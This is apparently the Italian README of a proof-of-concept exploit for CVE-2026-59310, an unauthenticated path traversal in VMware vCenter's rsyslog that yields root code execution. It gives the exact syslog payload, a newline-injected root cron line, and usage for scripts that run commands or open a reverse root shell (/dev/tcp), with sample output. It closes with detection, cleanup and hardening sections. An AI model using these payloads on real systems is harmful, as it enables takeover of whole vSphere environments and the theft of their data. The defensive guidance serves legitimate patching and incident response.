
PoC ed exploit in Python per CVE-2026-59310, un path traversal nel syslog di VMware vCenter che porta a RCE root non autenticato tramite cron injection, con indicazioni per il rilevamento e la pulizia.
Disclaimer: questo progetto è destinato esclusivamente a test di sicurezza autorizzati, verifica di vulnerabilità e ricerca difensiva. Utilizzalo solo in ambienti per cui disponi di autorizzazione scritta esplicita. L'utente si assume ogni responsabilità per eventuali conseguenze derivanti da un uso improprio.
| Voce | Contenuto |
|---|---|
| Nome vulnerabilità | Path Traversal nella directory syslog di VMware vCenter |
| Identificativo | CVE-2026-59310 |
| Tipo | Path Traversal → scrittura arbitraria di file → esecuzione di codice in remoto |
| CVSS 3.1 | 9.8 (Critical) |
| Prerequisiti di exploit | È sufficiente che la porta syslog sia raggiungibile (UDP/TCP 514 predefinita), nessuna credenziale richiesta |
| Conseguenze | Scrittura su percorso arbitrario ed esecuzione di codice arbitrario con privilegi root |
| Data di divulgazione | 2026-07-29 |
| Sfruttamento in the wild | Rilevato |
| Avviso del fornitore | VMSA-2026-0006 |
Il servizio di ricezione syslog integrato in vCenter (rsyslog) utilizza un template di percorso dinamico per salvare i log; il template concatena direttamente i campi APP-NAME e HOSTNAME dell'header del messaggio nel percorso del file, senza alcuna sanificazione del percorso. Un attaccante può inviare un messaggio appositamente craftato alla porta syslog raggiungibile, facendo sì che il percorso di scrittura fuoriesca dalla directory di log prevista, e combinando poi con attività pianificate per ottenere l'esecuzione di codice arbitrario.
vCenter è il fulcro della gestione della virtualizzazione: una sua compromissione equivale alla perdita dell'intero ambiente vSphere / VCF.
Versioni interessate (precedenti alle seguenti versioni corrette)
Interessa inoltre: vCenter distribuiti in modo autonomo, nonché i componenti vCenter interessati utilizzati in VMware Cloud Foundation, VMware vSphere Foundation e VMware Telco Cloud.
Ambiente verificato: VMware vCenter Server 9.0.2.0 / Build 25148086, precedente alla versione corretta 25629525, quindi effettivamente non corretta.
/etc/rsyslog.conf (configurazione predefinita di fabbrica VMware):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% viene utilizzato contemporaneamente come nome di directory e nome di file, senza alcuna sanificazione del percorso.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
È richiesta solo una corrispondenza di prefisso: un attaccante può usare rsyslog/... per soddisfare la regola ed entrare nel template di percorso dinamico.
24: $EscapeControlCharactersOnReceive off
I caratteri di nuova riga nel contenuto del messaggio vengono scritti su disco così come sono, consentendo all'attaccante di controllare la struttura delle righe del file scritto.
Questo è l'aspetto di questa vulnerabilità più facilmente sottovalutato.
/ non è consentito per impostazione predefinita, quindi APP-NAME viene troncato in corrispondenza di / → nessun traversal possibile.APP-NAME è un campo indipendente separato da spazi, non soggetto a validazione tramite whitelist di caratteri; / e .. vengono preservati così come sono → traversal possibile.Il server input(type="imudp" port="514") utilizza il ruleset predefinito e accetta anche messaggi RFC5424. All'attaccante è sufficiente formattare il messaggio in formato RFC5424 perché i caratteri di traversal raggiungano direttamente il percorso del file.
Confronto sperimentale (stesso payload rsyslog/../../../../tmp/x):
| Parser | Valore effettivo di %app-name% |
|---|---|
| pmrfc3164 | rsyslog ← troncato in corrispondenza di / |
| pmrfc5424 | rsyslog/../../../../tmp/x ← preservato integralmente |
Prova indiretta: un semplice
..viene creato come nome di directory letterale (ad esempiorsyslog..), il che dimostra che il livello omfile di rsyslog non esegue la normalizzazione di..; ciò che determina realmente il successo è la capacità del parser di far arrivare/nel campo.
① Pacchetto UDP non autenticato → ② APP-NAME RFC5424 con traversal → ③ Fuoriuscita dalla directory di log con scrittura arbitraria (root)
↓
⑤ Esecuzione di codice come root ← ④ Impianto di attività pianificata in /etc/cron.d
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
Sostituendo nel template:
Directory = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
File = come sopra + "-syslog.log" → /tmp/PWNED-syslog.log
Risultato: scrittura di /tmp/PWNED-syslog.log con proprietario root, creazione automatica delle directory padre mancanti, contenuto completamente controllabile.
Il nome del file scritto termina sempre con -syslog.log, quindi non è possibile sovrascrivere direttamente /etc/cron.d/xxx.
Tuttavia, sfruttando il passaggio dei caratteri di nuova riga, è possibile iniettare una nuova riga nel MSG, facendo iniziare il contenuto controllabile dalla colonna 0 del file:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron segnala "bad minute", ignorata
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← eseguita come riga cron valida
#
crond la esegue con privilegi root, ottenendo:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ (lighttpd in ascolto sulla 5480),
quindi lettura tramite https://<target>:5480/..., in linea con la descrizione dell'avviso del fornitore./var/spool/cron/root: è possibile scrivere in questa directory, ma serve un file chiamato esattamente root,
vincolo dovuto al suffisso -syslog.log, quindi /etc/cron.d/ è più diretto.Scrittura arbitraria di file (non autenticata)
$ python3 exploit_cve_2026_59310.py <target> --check
[i] Versione namespace API: 9.0.0.0 (non è il build dell'appliance, solo riferimento per il fingerprint)
[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] Inviato. Atteso file con proprietario root sul target
# Sul target:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log
Esecuzione di comandi (root)
$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] Impiantato : /etc/cron.d/cve59310<name>-syslog.log
[i] Lettura risultato : cat /tmp/cve59310_<name>.txt
# Dopo circa 60s:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost
Shell inversa interattiva (root)
$ python3 exploit_cve_2026_59310.py <target> --lhost <tuo_IP> --lport 4444
[+] In ascolto su 0.0.0.0:4444
[+] Impiantato : /etc/cron.d/cve59310<name>-syslog.log
[+] Connessione inversa riuscita, da <target>:56184 —— shell root stabilita
root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root
Sostituisci l'IP del target, l'indirizzo di reverse e simili con il tuo ambiente di test autorizzato.
exploit_cve_2026_59310.py# 1) Shell inversa root interattiva (uso più comune)
python3 exploit_cve_2026_59310.py <target> --lhost <tuo_IP> --lport 4444
# 2) Esecuzione di un singolo comando, output scritto in /tmp/<name>.txt sul target
python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
# 3) Verifica non distruttiva: dimostra solo la scrittura arbitraria di file non autenticata
python3 exploit_cve_2026_59310.py <target> --check
# 4) Visualizza i comandi di pulizia
python3 exploit_cve_2026_59310.py <target> --cleanup
Parametri comuni:
poc_vcenter_rce.pypython3 poc_vcenter_rce.py <target> --check # Verifica scrittura arbitraria
python3 poc_vcenter_rce.py <target> --rce "id" --name t # Esecuzione di comandi
python3 poc_vcenter_rce.py <target> --cleanup # Suggerimenti di pulizia
poc_syslog_traversal.pyConsente di controllare autonomamente HOSTNAME / APP-NAME, utile per costruire manualmente i messaggi:
python3 poc_syslog_traversal.py <target> \
--tag 'rsyslog/../../../../tmp/test' --msg 'hello'
Questa vulnerabilità fornisce solo una primitiva di scrittura; lo script non può eliminare da solo i file remoti. La pulizia deve essere eseguita sul target:
rm -f /etc/cron.d/cve59310*-syslog.log
rm -rf /etc/cron.d/cve59310*
rm -f /tmp/cve59310_* /tmp/cve59310_check_*
# Nella vCenter Shell, visualizzare la versione (il branch 9.0 con Build < 25629525 è non corretto)
cat /etc/vmware-release
cat /etc/applmgmt/appliance/version
# Verificare la presenza di template di percorso dinamici vulnerabili
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
# Verificare se il passaggio dei caratteri di nuova riga è abilitato
grep -n 'EscapeControlCharactersOnReceive' /etc/rsyslog.conf
# 1) File anomali in /etc/cron.d (attenzione: voci con suffisso -syslog.log)
ls -la /etc/cron.d/
grep -rl 'syslog.log' /etc/cron.d/ 2>/dev/null
# 2) File sospetti *-syslog.log al di fuori della directory di log (scansione completa del disco, il metodo più efficace)
find / -name '*-syslog.log' -not -path '/var/log/vmware/*' -not -path '/storage/log/vmware/*' 2>/dev/null
# 3) Directory anomale generate dal traversal (attenzione alle directory con .. o % nel percorso)
ls -la / | grep -E '\.\.|%'
ls -la /var/log/vmware/ | grep -E '\.\.|%|rsyslog[^d]'
# 4) Contenuti scritti nella directory statica VAMI
ls -la /opt/vmware/share/htdocs/
# 5) Hostname anomali nei log di inoltro syslog (APP-NAME contenente / o ..)
grep -nE '(\.\./|/)' /var/log/vmware/messages | head
Suggerimento: la scansione completa del disco al punto 2 è il metodo di indagine più affidabile. Se il template esegue il traversal verso un percorso inesistente, rsyslog crea automaticamente le directory padre, quindi directory malformate come
/..etc/,/rsyslog../costituiscono anch'esse chiare tracce di intrusione.
Aggiornare secondo la tabella Versioni interessate. Per il branch 9.0 è richiesto come minimo 9.0.2.0100 (Build 25629525).
Chiudere la superficie di attacco RFC5424 (la più diretta): associare esplicitamente il parser pmrfc3164 agli input 514/1514.
parser(name="p3164" type="pmrfc3164")
input(type="imudp" port="514" ruleset="all" parser="p3164")
Sanificazione esplicita del percorso: configurare securepath="normal" e secpath-drop="replace" per omfile.
L'avviso di sicurezza upstream di rsyslog (GHSA-xmp9-244p-5ggv) indica chiaramente che securepath è il confine di percorso affidabile.
Bloccare il passaggio dei caratteri di nuova riga: impostare $EscapeControlCharactersOnReceive on.
Restringere il selettore: modificare :app-name, startswith, "rsyslog" in una corrispondenza esatta;
cambiare la regola di determinazione dell'hostname in una whitelist basata su IP di origine / subnet, evitando che mittenti esterni arbitrari entrino nel template di percorso dinamico.
Isolamento di rete: consentire l'accesso a 514/1514 solo agli ESXi gestiti e ai forwarder di log attendibili, vietando l'accesso dalla rete non di gestione.
⚠️ Nota: attualmente ciò che blocca il percorso
%hostname%è solo il comportamento predefinito del parser RFC3164, una difesa accidentale, non un confine di sicurezza affidabile. Una volta abilitatopermit.slashesinhostnameper compatibilità, la stessa regola diventa immediatamente sfruttabile.
D: Perché lo strumento riporta la versione 9.0.0.0, diversa dal build effettivo?
/sdk/vimServiceVersions.xml restituisce la versione del namespace API, non il numero di build dell'appliance,
e non può essere utilizzato per determinare se è stata corretta. Nella vCenter Shell, verificare il build reale con cat /etc/vmware-release.
D: Dopo l'esecuzione del comando non si legge il risultato?
crond pianifica ogni minuto, quindi in genere è necessario attendere circa 60s. Inoltre questa vulnerabilità fornisce solo una primitiva di scrittura:
lo script non può leggere attivamente il file, è necessario eseguire cat /tmp/cve59310_<name>.txt sul target.
È anche possibile passare un comando di lettura esterno tramite --read-cmd (ad esempio ssh root@target cat {path}).
D: La shell inversa non si riconnette?
Cause comuni: il target non riesce a raggiungere la macchina d'attacco (firewall / NAT / isolamento di rete); crond non è ancora scattato
(è possibile aumentare --timeout); la porta di ascolto non è consentita. È possibile usare --method python per passare a un'implementazione di fallback.
D: Perché con -c "a; b" si ottiene solo un output parziale?
Già corretto. Lo script utilizza la redirezione di gruppo { cmd; } > file 2>&1,
garantendo che l'output dell'intera sequenza di comandi venga catturato (a; b > file reindirizza solo l'ultimo comando).
| Branch | Intervallo interessato | Versione corretta |
|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 versione iniziale / U1 | Tutte | Aggiornare a 8.0 U3k o superiore seguendo i percorsi supportati |
| 7.0 | Patch di supporto esteso corrispondente non installata | Contattare Broadcom per la patch, oppure migrare a una versione supportata |
| Voce | Valore |
|---|
| Target | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Versione corretta | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 (pacchetto personalizzato VMware) |
| Porta syslog | UDP/TCP 514, TCP 1514 (TLS) |
| Requisiti di autenticazione | Nessuno |
| Parametro | Descrizione |
|---|
--port | Porta syslog, predefinita 514 |
--tcp | Usa TCP invece di UDP |
--lhost / --lport | Indirizzo / porta di reverse per la shell inversa |
--method {bash,python} | Metodo di reverse, predefinito bash (/dev/tcp) |
--name | Identificativo univoco per singola esecuzione, predefinito casuale |
--timeout | Secondi di attesa per esecuzione/reverse, predefinito 180 |
-q | Non stampare il banner |